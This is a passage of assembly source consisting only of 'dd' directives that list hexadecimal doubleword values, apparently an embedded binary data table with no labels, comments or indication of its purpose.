dd 38D3D2D0h, 49871A07h, 0B6106936h, 0B0887CFDh, 777B3h
dd 0CDC1946Ch, 8738E62Ah, 0C984DC15h, 0A1CF008Ch, 6D72340Eh
dd 0F98E0CBh, 0D4843E1Ah, 833B3A67h, 0F1007E51h, 19CB74C4h
dd 0D1F1BDh, 4ECAE8DDh, 290E8E5Eh, 658D5216h, 9B963C01h
dd 2DCCD024h, 6F0F3C34h, 0C80EB483h, 0F9E87F47h, 0FF3D6CAEh
dd 704C8FE6h, 202E0960h, 0CC96F480h, 6E1800C2h, 0A3A1DDC0h
dd 0DA03EF67h, 0BAE0EBAh, 800D887Ch, 0E692009Ah, 7534BDB0h
dd 2B00C8D2h, 9C7A37DFh, 15E325h, 809758BBh, 50B79EB4h
dd 0BEDCCC00h, 0A6A14CADh, 0A56E439h, 33D338D4h, 581D01F4h
dd 8B7C5F9Ah, 0D5AE6F1h, 44ED56BEh, 0D966F0h, 0FF1B1583h
dd 96399426h, 7F4B600h, 0EA3BB9E4h, 0AFC21F31h, 0FCE0F34h
dd 1C100829h, 0D3005279h, 0CFAE2A55h, 0C00EDB50h, 4DAF7B98h
dd 7800ADA6h, 12B45373h, 991F41h, 38F92517h, 71DA8647h
dd 0F5820h, 4E1E9ACFh, 74309985h, 1B105E14h, 2D0A00A4h
dd 0C35DBE13h, 1A0791Dh, 3064EFE9h, 346EDD41h, 5EE8AC30h
dd 83478605h, 904053BCh, 604BC31Ch, 0EBD80073h, 0C08B2A80h
dd 0D6036617h, 0CEB0E3B3h, 5D80031Eh, 7E4D200Bh, 21907D88h
dd 0D318501h, 15189B60h, 755AC0h, 0DA6FB9CBh, 4541500Fh
dd 0BC305300h, 64211D5Bh, 0A80300D4h, 911EC49Eh, 0D600B2CBh
dd 0E04D083Eh, 0D0E140h, 87E87078h, 2C66890h, 0E47D0C00h
dd 94744C18h, 7704009Ch, 0F55B6566h, 0AB02A279h, 1E86A459h
dd 578E6067h, 161C07B3h, 4064530Ch, 0F6D8B4CAh, 9ED44A00h
dd 27DD89D6h, 7D5B3C7Eh, 0AC7BD900h, 87156A94h, 16A27A30h
dd 2C4732BDh, 0CD3305h, 0CB63A54Fh, 39008C13h, 0F6E1373Ah
dd 0C01B76C3h, 0F035F97Eh, 0DB00C428h, 0BB1F13FBh, 5C9C40BCh
dd 0F200C174h, 5B75018Fh, 94007A2Ch, 0A44A36B2h, 0FBD8CCFh
dd 0B39E3DCEh, 87DD4280h, 0AD006F91h, 0E3957309h, 0D62417A4h
dd 968A00A8h, 0DC576AB2h, 3C152B00h, 0FF59910Dh, 11656006h
dd 3F2C8168h, 93DB0B00h, 2F8D3183h, 987DE490h, 74CB03F7h
dd 720171C6h, 0C016CAB0h, 0B73F0718h, 218D40h, 0D371039Ah
dd 5AA08396h, 41007877h, 0D77A84E9h, 0EE0148BCh, 317C004Eh
dd 747E4F91h, 46734B9Eh, 0F1B02E00h, 0B8C47F04h, 1237EAAAh
dd 70C0A75h, 20849E1Bh, 713D7603h, 7B00D07Bh, 0FE481C95h
dd 1E3EF686h, 4C8E5013h, 25304E9Bh, 0B30F6604h, 1C80B6B2h
dd 3E4E188h, 0F4D8FFCDh, 2EB267F3h, 0F1287560h, 90C330FFh
dd 27D07B00h, 0E73D4560h, 3A05008Fh, 2DF87599h, 0EB001EA5h
dd 0DFB5107Fh, 798C2CFh, 0A65A053Ch, 0BFC10036h, 553ACB87h
dd 1CE67E41h, 0B990D00h, 0BE7CCACEh, 1BB200C4h, 5D21F831h
dd 2F0080F2h, 689F1C25h, 6D0A3Ch, 0CCDDDF60h, 0C5C364CBh
dd 19005C90h, 886963D5h, 0FB7AAEh, 0BBC98D1Ch, 0AA8A5CBFh
dd 0FD0094F6h, 0B12BD08Fh, 0E0E08C4h, 0BDDC1995h, 0F1D9A520h
dd 70000C49h, 0B21D30D8h, 1E4F90Eh, 65B41B97h, 0EC7BFCC0h
dd 10182202h, 0E448D19Dh, 0FE2C6AFEh, 4E741D20h, 1F802AC8h
dd 0CE77E9A7h, 60318F00h, 3B409950h, 3EFC017Eh, 8D0541D4h
dd 54C130DFh, 0F696F300h, 0AB24E0BCh, 0A9B31CBFh, 0C9429FB1h
dd 990073FDh, 13686D20h, 7CA10719h, 0E8176510h, 661758Fh
dd 317993h, 58AC6E8Dh, 10592C65h, 36648C07h, 0CB06215h
dd 92414A57h, 77F5017Ch, 7A40FE75h, 3B3824D5h, 4F829019h
dd 0D8EC17D9h, 0C90501DEh, 16184A5Fh, 0E71183DAh, 71D207Ah
dd 4C1FEA80h, 49D4E6FAh, 7E21562Eh, 0D6816C03h, 2B82E0D2h
dd 0E0B70ACFh, 383073B9h, 803065B7h, 2D7A78E5h, 39354700h
dd 0A6227ED0h, 84580072h, 7423D675h, 1C0792B7h, 8A261ED8h
dd 0FCA83FF0h, 0EE371CF2h, 0F1ECC03Bh, 179A858Fh, 39D69D00h
dd 5A788A4h, 444E3883h, 0B1E7F800h, 2D25B932h, 684D780Fh
dd 0EDEB4027h, 89610Ch, 0FFCF565h, 5876EC66h, 1DCF4900h
dd 248F5709h, 185262FFh, 0C080CB35h, 6BC1FC63h, 29E61D03h
dd 1065C00Ah, 60541B28h, 0FD6A9EE9h, 2EC08340h, 0DA008FDDh
dd 89EB9473h, 18207692h, 402A69FEh, 0BB30B477h, 7EFF187Fh
dd 0D0965231h, 879A7900h, 60CD1F0Ch, 0A2589718h, 0C07D6F08h
dd 87929420h, 790F66EFh, 808FBE1Ch, 53FBCB15h, 0A169C0ECh
dd 0D265C184h, 9D99B50h, 0F3106160h, 28337DDBh, 0AFD1B5h
dd 68AA76AEh, 17BD4EA0h, 15277800h, 31CBDFF3h, 5D700E94h
dd 43E0A8B5h, 238A1A9Eh, 0D778C03h, 8018BEB9h, 8EE449h
dd 0E306FAC5h, 8F8AC910h, 0E991BA03h, 88211913h, 464722Ah
dd 586080C2h, 4547809Dh, 0A900FFF6h, 61F87BCAh, 97992Fh
dd 0D52C09DEh, 0F3A27C3Ch, 0BB26C100h, 0BC5AE316h, 0B07E000Ch
dd 71AE2C12h, 10CA0B56h, 1AFC0455h, 108EA3A2h, 0B8D3F6C0h
dd 82EFFC00h, 90058A08h, 51A80E19h, 65206B01h, 0E4188026h
dd 57863F00h, 6D5A649Fh, 2B21139Ah, 0FA3F0008h, 81B83ACAh
dd 0F3C6E81Eh, 94DC80C0h, 0F547134h, 89D2982Eh, 6C535982h
dd 0DC82F1E0h, 9FC66018h, 955010h, 9D5FCF2Dh, 9256C0EFh
dd 0FED20200h, 0B81FF47Fh, 15B0035h, 53D0AD40h, 0EB7D7859h
dd 1C8D9B01h, 0EDD580BBh, 3F764870h, 0F71DCECFh, 432603D4h
dd 23F07A59h, 4C003A71h, 205FD708h, 0C7FD78h, 0B6F03001h
dd 0F15469CFh, 0B047D000h, 872C9076h, 0ADC300AFh, 27A1443Ch
dd 6D000883h, 145D39EBh, 0B066F080h, 81FD001Ah, 7D4231DFh
dd 0D3B843B2h, 28B3BAA0h, 0FFDB250Eh, 0F69A808Dh, 366B96h
dd 33FDA0F5h, 0BE205CD9h, 41522303h, 90D4D09Dh, 2EB2A1EEh
dd 54C788h, 0E9A6FBC1h, 1B002E8Fh, 4972D8ADh, 48EDFAh
dd 0A1DA566Ah, 0BCAAE9D2h, 8BA3D600h, 1888D03Dh, 0FD230001h
dd 0E4A4C606h, 860FE7D8h, 0C5F419h, 0C29CE120h, 48B7BA6h
dd 0BFFD36EAh, 0F8109074h, 5A00893Eh, 0AC8E986Bh, 305343E9h
dd 3FD8A3F1h, 2851E659h, 2984E8ECh, 382EB800h, 1D0E4881h
dd 309F003Ah, 8907196Fh, 6E00738Dh, 378357D8h, 246BB02Fh
dd 804454F6h, 0CE2B904Fh, 1500354Ch, 0D8B94657h, 0F845A4h
dd 61AEEB14h, 63A2724Eh, 77B68F2Eh, 2A9E4400h, 39F27F69h
dd 20E5805h, 5520FBD3h, 470750B0h, 0C48B400h, 5457E2CDh
dd 7C4B008Ah
dd 0EE26FA21h, 0CC00345Fh, 4463A86h, 0B022A6h, 0E0E3F19Bh
dd 4AA3C34Eh, 8E124Ch, 13752E68h, 6DFF84h, 7E242BEAh, 6E6105Ah
dd 0BB2882Eh, 80FB8609h, 4DAFB6D4h, 6892CBh, 25A9B48Dh
dd 0B0F05235h, 0F73A9A00h, 12ECAFC3h, 19313957h, 56838B00h
dd 58E5860Ah, 0FB4038D2h, 0D4519817h, 6B913F13h, 15620DACh
dd 0ED07D0DEh, 60153156h, 221C2AE9h, 7B80F001h, 0FB3426F5h
dd 1F9488D0h, 4362BD38h, 0BAE2548Ch, 522C4E98h, 6ECBED00h
dd 3F1CC950h, 0E52F00A4h, 3B809744h, 6B017BB1h, 0BF2D6628h
dd 0E2F4FE76h, 979F0024h, 3BB4EFB6h, 18905E93h, 56708D10h
dd 7689BE09h, 110F10Ah, 4A8838C5h, 3B13C971h, 5C30D5A1h
dd 0AA1D0050h, 2DDA0548h, 460EAEDDh, 23DF544Dh, 0F8C65608h
dd 177E1D1h, 9333502Eh, 70CA8C3Eh, 0B748796Fh, 2390750Ch
dd 4171E3Bh, 0A2CBF50h, 712D68D0h, 7F260049h, 991BA06Ch
dd 5E001DCBh, 2EC47D66h, 0ECD12941h, 38F607FEh, 41F74685h
dd 7059F983h, 20006D7Eh, 0D9035DFFh, 1F0AC1Fh, 0BA130B98h
dd 0C45622F2h, 76001928h, 90034F73h, 1889A821h, 10416607h
dd 0CB00B172h, 3582C4ACh, 0C285CB7h, 0F3D7E21Ah, 4B000E68h
dd 0B29105C8h, 0A17539h, 9698C721h, 6E039980h, 0B0666C00h
dd 72D5E4BFh, 0C65B00DAh, 0FE5539F7h, 451E622Bh, 0C2838734h
dd 0D8ECA6EFh, 0B0A33h, 8C9C1BE5h, 44E9CF42h, 4CDF2E48h
dd 71C07B5Bh, 0D89BF0C3h, 0E211C980h, 1E6FA880h, 12071829h
dd 1B1D96EDh, 0C40E8FCh, 9EF4854h, 0CAFE4311h, 20FFE22Ch
dd 90EB4C87h, 1E5F4600h, 5C92FEh, 0F0D4C69Dh, 0C8BC61A1h
dd 54868C07h, 3032E4A3h, 752FC09Bh, 7E2C0055h, 5D234362h
dd 58001B47h, 882BD8D2h, 0E6EB105h, 0B10FBFDh, 45EA8A00h
dd 0BB01BA1Ch, 0B59DBDA8h, 84FC828Bh, 80F2A1h, 0C3C83288h
dd 0C4EAF18Ch, 67A0B560h, 0D4AC2Eh, 0DD81D0F2h, 8C128095h
dd 54A9EB26h, 85C88B81h, 108FA6E8h, 0BDBF3B01h, 3000D022h
dd 0C3ED0E39h, 0BC5008h, 76676163h, 0E8E2A14Dh, 0F683FA00h
dd 8D192399h, 2D6B3FC0h, 6C94168Bh, 2F01D883h, 26606800h
dd 6256BD2Ch, 9D280F30h, 702E2DAh, 9CA1E4B5h, 700AA6F5h
dd 0FF24AA3Ch, 508068A1h, 2DD3B2A8h, 3CF7EA61h, 7245955h
dd 517401F4h, 328754ECh, 6BE700B8h, 0C88384A4h, 9F4000D8h
dd 0FA07ABA5h, 0BF0322DEh, 0E8741559h, 564800F9h, 0CD0140Fh
dd 2A0EFF5Fh, 0E59CA099h, 7852537h, 0D2BBB300h, 702407F8h
dd 14E700F6h, 9A65F0B6h, 6E00FE64h, 0DCEBB5DBh, 0C68F40h
dd 0C95E92C5h, 0C37F327h, 5BD62204h, 808015ADh, 3CC13CBh
dd 0E6E9093Fh, 4800FE45h, 36D590D9h, 980DAB96h, 292000BBh
dd 0F0DDC425h, 5B0032F3h, 1B56FEEBh, 9247C8h, 0C38F8B4Bh
dd 0A6F92BDDh, 1E1F870Bh, 0D81C8044h, 1E32F81h, 776C8843h
dd 60716A07h, 6F06372Ch, 391B7B79h, 0F61A0E31h, 5D40FF4Fh
dd 55325BE0h, 993AC875h, 8042B8D5h, 0F7031C8Fh, 3C917BE9h
dd 7780E4B1h, 0D5CDFD20h, 4100FA5Bh, 0A8A3D894h, 31398Eh
dd 997C7BF5h, 18DC0D1Eh, 82F75638h, 6138B11Fh, 5A4057DAh
dd 78009E24h, 1BD3287Ch, 0F10A4Ah, 0C8683AAEh, 3B7D5EE7h
dd 60AC4E07h, 7273564Ch, 83CD9003h, 94650044h, 0A5B5E1F0h
dd 60003022h, 0C87CD025h, 6F061854h, 1580B005h, 1E519538h
dd 0B8588C9Ah, 1A0D0068h, 0AAA8EA01h, 62A00382h, 25487113h
dd 0CC012BBh, 0F90B3C9Ah, 873BAF15h, 0A730CC20h, 0F2E272h
dd 9CF66C01h, 822DA311h, 9A680D26h, 452E3F00h, 69D9B64h
dd 211CFEA7h, 0E413780Eh, 18406553h, 89AC4337h, 0B9FC002Bh
dd 0D4119739h, 21C161C8h, 8B2164E5h, 0D2338311h, 9862D461h
dd 0E5188220h, 93E00054h, 292ED5C1h, 61004CD8h, 86BB97B2h
dd 0EE51850h, 0CAC54AA7h, 0EE6B8140h, 612A3101h, 8A168407h
dd 0A040DC7Bh, 0A5EA2279h, 0B111C0F9h, 480F824Dh, 68EB39DCh
dd 0E9005821h, 9D30C1C6h, 0A3BE8FEh, 0CAD40F97h, 20F29068h
dd 0D9A3001Bh, 0C4904E49h, 0C100AABDh, 0AC8D4018h, 0E20601Dh
dd 35F4A30Fh, 0D1536F00h, 8A00CD2Fh, 3F4CA712h, 0F89FC0E2h
dd 0F7180003h, 2E47D28Ch, 641EC8DBh, 3EC07B31h, 0F5AC82DFh
dd 0A9F3000Bh, 221B542Ch, 0EA3BB4A0h, 476880B2h, 6BD1D917h
dd 503B00EBh, 74137D3Dh, 5300160Ah, 0A72655A4h, 0DA4E6Ah
dd 0B69369AAh, 1B126ED6h, 0AEE2E800h, 54163980h, 7CD700C0h
dd 0DC9DB02Ch, 6500ADB4h, 9FBB4186h, 1ACF4B8h, 0BFA9F02Ah
dd 30B32B7Ah, 0C50AB0BCh, 900FA387h, 0C607D481h, 49F82BF0h
dd 0D9FA004Bh, 0A1DF2D86h, 0C3094480h, 650C8592h, 0DDFC6164h
dd 21FC316Bh, 945DCC6h, 0BA407700h, 15D87094h, 8B8D3EE9h
dd 5CA8297h, 858239Ch, 32427414h, 0CD1622E3h, 90F6A82Fh
dd 0DFB384D8h, 0CF442A48h, 13BB6C21h, 5E488CE2h, 90282E47h
dd 0E1088470h, 44CCD244h, 244AE2FBh, 0DC8D083Ch, 2C29E698h
dd 2E0DE6A2h, 0C6764h, 0B95784C7h, 8B00D09Dh, 937BEB69h
dd 382B0F5Ah, 0BA92911Dh, 0EF5890AFh, 0D9075D32h, 9A397F60h
dd 0EA680411h, 7759030h, 0C98F9D62h, 0F1F740DEh, 0E10005C6h
dd 88E62D1Ah, 3DA896Eh, 6C66BF55h, 2BB8CDD9h, 0D500F704h
dd 0DE8E6582h, 0F13D42h, 0C8ED2DB5h, 28A4AAE2h, 0FB99FE0Eh
dd 0E451E0CDh, 7617215h, 0D39B4EF0h, 30A417C5h, 0BB1B9A9h
dd 8A19100h, 0B08F18A3h, 660C0E8Dh, 8080DF5Dh, 0AAE961E4h
dd 5E530800h, 0A186C9CAh, 564E0788h, 0B0D9BC59h, 0CE4650C4h
dd 0F15FF800h, 0A7989D5h, 59CF03DDh, 0E2583599h, 0CB2497DCh
dd 63403418h, 1D8FB03Fh, 3B585D03h, 0F03D11h, 65EBF8A6h
dd 71C8F1BBh, 0D1584492h, 925D0248h, 589AB3E6h, 0D7A31700h
dd 1904404Bh, 28499326h, 8D0E4F00h, 9B5C84DDh, 3FB700F5h
dd 0D7AF44D2h, 1D0093E5h, 0E048D9F7h, 0C6CB70h, 436C8985h
dd 420D3E04h, 92C2800h, 3310F52Fh, 9EEC000Fh, 9C22D76Dh
dd 5800F8BAh, 474DD373h, 41A41h, 803146C2h, 7B533538h
dd 75C45700h, 0B5BED571h, 0EE1375F8h, 81D1004Fh, 0A5DDB103h
dd 0DC00061Bh, 4115FD6Fh, 0F4F800Bh, 273A2A55h, 0A463BB60h
dd 7F0053FBh, 79345A3Ch, 7A3B11h, 0EC1EA0E6h, 0B5569DFEh
dd 1780A918h, 913CA8h, 0A940B5Ch, 76B84551h, 4A14D600h
dd 4BB0285Eh, 97F8FB22h, 0D290029Ah, 9E84A969h, 0BD034240h
dd 0FF6CC700h, 4AFDB07Dh, 24430016h, 0C3352712h, 0C80FC0EAh
dd 0E090B6CDh, 8555883Dh, 2DF24Eh, 0ECE8E323h, 80FA6FC8h
dd 3990C4B8h, 5C4E4300h, 7B6EE134h, 122CB86Dh, 0C0043D19h
dd 3892BACh, 8002DECh, 0BD67D94Ch, 7E490Dh, 0F797B628h
dd 913F43D4h, 0EC336500h, 0BDF963BEh, 11BA244Dh, 0AAC100A5h
dd 0AB2C4123h, 0B627D500h, 55627F86h, 3C199898h, 0F380830Dh
dd 0EC10466Bh, 0B83DD25Eh, 0FE8884E9h, 74804BA8h, 7D7C7FAh
dd 9BA49F75h, 0ECFDF5A3h, 0C28F00DBh, 0C74513C4h, 0F18B0222h
dd 0B0F7BF05h, 5278A060h, 294E7C00h, 4B72EDD1h, 18818A2Ah
dd 87B482D6h, 0BEA5E060h, 88491573h, 13795471h, 0D8DD8B93h
dd 800737D4h, 0DC1B8450h, 0AEC9C3F0h, 94380361h, 2C105BB0h
dd 0E1ACCD98h, 0F1B2BB00h, 0D708C177h, 26321211h, 5AD440A4h
dd 92D852D9h, 2C619C24h, 9B12C500h, 0BEDE19h, 428B9E96h
dd 8FB1A1C8h
dd 0DCEF6D00h, 0BFB70399h, 7B3D3D51h, 4C0020C8h, 2E822669h
dd 400D4CBh, 654A294Fh, 3D7678ADh, 0D187DE57h, 5039FB3Ah
dd 91EA8406h, 0C453F607h, 5A40A0B4h, 0B0681DEDh, 9950091Ch
dd 4E4B002h, 5DFF00Eh, 0F5924041h, 405811h, 1A7485EEh
dd 63BF491Dh, 7E330AC0h, 73D06CFCh, 0D3BA1E29h, 0A39CC4E3h
dd 0E9A4C0E8h, 0D2980170h, 80475E27h, 0EA53726Ch, 0CEEA43h
dd 1DFED27h, 2F5625ADh, 7C734618h, 3E19AE29h, 0B8F2652h
dd 0E020FD08h, 0C563701Ah, 0CFB4C600h, 98103EEEh, 9D7F1896h
dd 0DCD339E6h, 8300F6ECh, 798EB3ACh, 75A08D91h, 7F510033h
dd 7D675C65h, 7C0048CAh, 64151B3Fh, 219175Bh, 0A9F44C8h
dd 0D4782A92h, 4B325422h, 3C482235h, 2000C70h, 27BB7B2Eh
dd 1ECF40h, 0FA90036Bh, 0E7CBBA08h, 8E521C00h, 1B6A2D37h
dd 397560E2h, 3C650AA4h, 5B5FAC00h, 60B35859h, 0B27300D9h
dd 0DD7FCE75h, 70008FF1h, 5547087Dh, 4984B9Ch, 8433C1F8h
dd 37BCC37Fh, 57914F0h, 80627E00h, 8C75FCBFh, 7374100Eh
dd 9A5D0330h, 1EA47D2Dh, 53E86411h, 0AC840CADh, 25246160h
dd 803B0A4Ah, 7C8B7A6Ch, 3515F4h, 398D9824h, 497C51Dh
dd 0AAF39401h, 0AF22631Ch, 5B5B2ECh, 533A5B45h, 1966C0D7h
dd 6F008FF0h, 0B8ACD416h, 9E13CDh, 0E5A52A60h, 5D6343BDh
dd 410F2403h, 0C047CA3Dh, 3EF94B4Ah, 0AF00C3E2h, 9EB726E9h
dd 3900727Ch, 5C1729A5h, 36342Fh, 81D59850h, 0F0412C65h
dd 9C95EC00h, 5FA032C9h, 7E0E161Dh, 77642021h, 0D400AFC2h
dd 86879B97h, 2DF9C80h, 0A6CDBD79h, 0C0408353h, 7C7FBC81h
dd 59553000h, 2E8ABAF7h, 0F264032Bh, 0F0A98466h, 80CBD0F7h
dd 2C06E0CAh, 2FA2CD1Ch, 454B0030h, 494B6CCh, 7000E8F8h
dd 5C431FD2h, 2F6173h, 0D84E804Bh, 18D7C32Ch, 0E99A1209h
dd 8428000Dh, 98ECCB6Ah, 855A1724h, 3740160h, 0E00156B6h
dd 37008F7Ch, 5D1F38DBh, 0C00DEC0Bh, 5E08986Ah, 0FF0FEB5Bh
dd 0E0AED1D5h, 5AE8F4C2h, 131C98AAh, 1883849Eh, 67B6115Fh
dd 0DD9D2E00h, 0EDC625FCh, 0CFD5C38h, 20699F0Ah, 0DF98009Ch
dd 0C0F2C7E5h, 0CB88AD18h, 5F8AE0h, 2BD2302Dh, 0FCCED8ACh
dd 37589F00h, 5A214639h, 5F90032h, 0E7A566Ch, 9300179Dh
dd 0CA7CAC16h, 2C26B290h, 1F68F61Bh, 27914FE9h, 0CCF57681h
dd 0D6C03003h, 33662300h, 0E587C12Fh, 6F6C003Eh, 0F0FCC326h
dd 60136A3Fh, 841CB330h, 0D3F45E01h, 1EF493F9h, 77C300CDh
dd 5A362A49h, 7B072F88h, 0A854E689h, 51748D70h, 0EAFC3A4Ah
dd 93B896h, 20ECDC13h, 0F73D39C9h, 8A037557h, 426E81C4h
dd 0FAD6F085h, 0FFC4FF6Fh, 751D004Dh, 0EA342C54h, 4C0358FBh
dd 6A477FA7h, 0E40ACDE6h, 6D00F8D1h, 361C1B48h, 6334005Bh
dd 0B279626Fh, 1500113Bh, 0D6DFA701h, 434C7Ch, 5D8FC44Ah
dd 892D98B6h, 64ECA800h, 4C2359BEh, 92E500B8h, 98C45F68h
dd 0B907F320h, 48F995F7h, 0BF824D20h, 0F2F89008h, 1D92021Eh
dd 49644E1Ch, 5C0124D2h, 3227378Bh, 0DC706218h, 0AC0F2415h
dd 843B8F70h, 0F26C35E0h, 0F306AD64h, 7FD87620h, 1A9F6011h
dd 80CA1A03h, 6E111E00h, 10E0664Ch, 9DA10BE5h, 4482FE40h
dd 8E41255h, 21588709h, 4F92000Eh, 7DD00737h, 83271382h
dd 0CD50476Bh, 0B373003Ah, 0CE127D93h, 2C802275h, 312B4F34h
dd 9C59F62Dh, 41A80848h, 8B04601Ch, 306BC001h, 778E157Bh
dd 54E370h, 0B59B352h, 253D68Ah, 15C70E00h, 4FC64D61h
dd 805860A6h, 0C1DFA9B0h, 0BBD8CF00h, 8547BF92h, 3A9C00A2h
dd 0EA7B4C59h, 0FAE21026h, 800AAF2h, 93413B2Fh, 90A8803h
dd 0D6A6C569h, 28E9E381h, 7008972Dh, 510D9C02h, 0BC3C60A1h
dd 0B8D42C2Ah, 81C31C44h, 55443770h, 820C6073h, 74AF8E00h
dd 425718Ch, 0A7C83B58h, 20797618h, 9CB6A320h, 8D251702h
dd 0D0D06298h, 7B0B4244h, 0F0167C7Ch, 7503DBE0h, 0E55BB7DFh
dd 6E2EBC80h, 4C8D0054h, 0C3880DC1h, 9400FFF3h, 7D39E6D3h
dd 0BBB90Ah, 2EF022DBh, 0CA706D4Ah, 0FAB53800h, 0F74B263h
dd 0D5170075h, 447792FEh, 3E006220h, 0AC5F9BCh, 7ADD8D08h
dd 572B0078h, 1042123Ah, 0DCE8488Bh, 0E8C3CB00h, 265D9BEDh
dd 0BFF0E0h, 5FB3C85h, 73AC518Bh, 9E7E7200h, 70CEB615h
dd 5A6C0674h, 11E48058h, 35F7FD00h, 0A38996A0h, 0BCD300DCh
dd 5ED82088h, 0B07B7643h, 9F827A1Ch, 7DFCE1C7h, 0F21A6503h
dd 0E5D4C8CFh, 2E5D88A9h, 85DAC638h, 58916042h, 9000C452h
dd 0C702CDCh, 0CEF6027Dh, 1A3D8179h, 3B8FACC0h, 5360661Eh
dd 0D3063540h, 30BDFF5h, 47B5F0E8h, 0E79F91E7h, 8B7F1044h
dd 9E0018CBh, 0FF9516F2h, 0ECBBB7AAh, 345FC77h, 0AF5EFC4Bh
dd 0CAF021A6h, 0C0006258h, 9D90B33Fh, 851DE7h, 33178411h
dd 0BD9E2CADh, 16ED3800h, 124E56A4h, 4B810F22h, 9460E25Ah
dd 4293A288h, 6FF35B00h, 83D59606h, 1E467A14h, 1E9466F0h
dd 31B6070Bh, 0E90F9033h, 5C008E88h, 5F4202ADh, 0E43639h
dd 641A07EEh, 2295D762h, 0C405158h, 19F048EAh, 0FA6F0031h
dd 0F60F8EB8h, 5E0005CAh, 277A25A1h, 0F73828h, 95533550h
dd 6A442CBCh, 687C3B03h, 0A8410605h, 7BFE6925h, 0D2B40E43h
dd 32A01F1Ch, 0CA9DA419h, 4100F579h, 968AB5FFh, 0A6508Eh
dd 7199988h, 0C6FB5C4Fh, 4B76E160h, 3CD7B46Fh, 0EB8BC47Dh
dd 64C01169h, 0F020BEC6h, 72B00AFh, 8E2776F5h, 75006E3Ah
dd 0DC86D873h, 1D3B67h, 46BF6639h, 5405593Fh, 0ECD961E3h
dd 0A43899D5h, 9D3B800Fh, 54C400Bh, 37F4004Dh, 0C79F5E0Dh
dd 0D10ECD20h, 806A6138h, 69DF73B4h, 0E9E03AFh, 0B36F2DE7h
dd 6B782580h, 7E8E4600h, 689354C0h, 0A9CA0020h, 0B270E4D0h
dd 71035535h, 62B1A2F8h, 0AC9D8EEh, 0BA290157h, 8D8FF9FEh
dd 381A7114h, 0A6CA50FCh, 48CBD00h, 0C4D99A57h, 0D4D003A0h
dd 0F707B2FFh, 6DE1A388h, 86B18200h, 5CBCF10Bh, 0AF390043h
dd 0C2E0E590h, 0FAE8B879h, 0A558h, 638EF420h, 127121Eh
dd 0B5A24C7Ah, 0D44A3551h, 0CD00C6D1h, 119BC1E5h, 0A9AB42h
dd 27103D3Eh, 3644917Fh, 9D7C6D61h, 7C78FF49h, 0FB9EA79h
dd 0E82547C9h, 7132CCFEh, 0F70069F0h, 0D9595677h, 16782F4h
dd 9BF15478h, 284CE2DCh, 0A32B04D8h, 3CC0D521h, 0E2458798h
dd 274400F7h, 0CA951023h, 6F04662Fh, 0C7C0263Fh, 0EBDD84C3h
dd 0A076AB5Eh, 0F8153155h, 0B8AE043Ah, 0C09CF0DEh, 0FD48079Ch
dd 0AC644013h, 0E0B7CE00h, 0D8BC99h, 46C2DFB0h, 31ABA19Eh
dd 583E251Eh, 7052B180h, 372E836h, 3512F52Fh, 0A28985Ah
dd 4800A0FAh, 1A514B9Ch, 76661B36h, 3DCF00ADh, 0D36E3F33h
dd 881E45B5h, 0D0931FCEh, 9A9DD000h, 0EA5424h, 792AFAB6h
dd 0B75EB3E3h, 9C4F3D00h, 89D6F67Ah, 36E8E0h, 99025CFEh
dd 17741B6Bh, 42C24F03h, 0A835A53Bh, 0CB8809B2h, 0C2807D11h
dd 0EB1BD822h, 192B7E0Eh, 62156FFBh, 78FDB82Fh, 3142ECh
dd 1008D333h, 0C96AEh, 51ABE068h, 8A064387h, 0A4C7D714h
dd 0D5F200C8h, 7525023Bh, 5889813h, 6390BE23h, 7D090ECh
dd 8C7A304Ch, 38E93424h, 503CDB09h, 1B732C88h, 0EC1D8BF8h
dd 0CBB694E0h, 80179C3Ah, 1A863CADh, 1D56E91Ch, 8B1F132Fh
dd 0BF00B1AAh, 1EABAC62h, 0BD7E0E00h, 51617453h, 0E9C438A7h
dd 87AE9000h, 97E07C8Eh
dd 33F1FE00h, 0B1B34B5Bh, 0F207DB7h, 62FCF41Eh, 659D0A40h
dd 0B07A121h, 0DC236755h, 5F160F70h, 0EC530358h, 0CA91F5AFh
dd 0D28895D0h, 4E2C3648h, 0E2C92FF0h, 0A17500F0h, 6D6F284Dh
dd 980046D4h, 0A2682FC7h, 0B87F184Ah, 2DAC0031h, 4B55EAE3h
dd 3400F0CEh, 7EE70A4Eh, 0F8841Fh, 0A1D150A6h, 0A28063CAh
dd 78E5F73Dh, 0DBE40095h, 0EB1892h, 90BB534Eh, 52ECCF07h
dd 6A482603h, 0A0B88944h, 9F8566h, 0D912A02Ch, 0D187D8E1h
dd 78378601h, 680845F5h, 0FC177D0h, 0C809210Ah, 0C6D0BF60h
dd 6A283280h, 1507A81Fh, 588AE0Bh, 1D923E30h, 0B04A0728h
dd 18C566h, 0C26ACA55h, 0D83A0700h, 2767485Fh, 1B8400BCh
dd 7C457276h, 54B088CAh, 6417C005h, 0A8000E09h, 37D3A70h
dd 74F700B9h, 66576235h, 0D012D5CFh, 4400B230h, 26A35DE8h
dd 525B00ADh, 20C47A38h, 0A000198Dh, 0F5279D10h, 7CAB6B5h
dd 6364F89h, 0DA0B9056h, 0D900B0E7h, 0A69E1DF7h, 0B8A88ABAh
dd 23501CDh, 0A4EC8004h, 42C3264h, 96BED767h, 9800A585h
dd 0A9E11D5Ah, 0E8220E0Fh, 4CE0C173h, 5C178008h, 0C635Ch
dd 7116E469h, 3F9B14Bh, 3739723Dh, 67CACC2Fh, 360BF0E0h
dd 0B5DF301Fh, 619A6040h, 602CCF9Bh, 6B9111CEh, 0A7006642h
dd 5141F93Dh, 0B0C8041Dh, 0B83B01BBh, 0D1903228h, 206B7188h
dd 530034E5h, 0D46CC923h, 2069C8Eh, 0C0C2D698h, 80569376h
dd 3D5E003Eh, 0D5AE0C92h, 73229890h, 0CCFF074Dh, 0A0C97FA6h
dd 6D1EE1B2h, 56AAD000h, 4383E309h, 0A8DB1C12h, 788101A5h
dd 0C0D1B384h, 3900B6B4h, 6848E132h, 0CD06BA4h, 3DAE2112h
dd 6F00D911h, 0C8D2DD26h, 1FBEBB8Ch, 803103CAh, 0F4A0B2D5h
dd 3CB8C3ECh, 0EF462201h, 0E81B8101h, 7930002Ah, 68BBB1ADh
dd 585287A0h, 2400355Bh, 0B91B250Ah, 0E5BF3BD5h, 0D71A0B8Eh
dd 9330ACC2h, 3A1FBC76h, 0E78680F8h, 0BD791832h, 1261F852h
dd 47D8FF8h, 0D0A3366Ah, 4C45D440h, 0F24E51E2h, 0C0B54C20h
dd 0BD800AF8h, 16DC65A6h, 79E493B2h, 16FC1058h, 0CE04F688h
dd 2881A25Fh, 0E9CCEEB1h, 4F6B3h, 9DB96DBEh, 0F4DF6403h
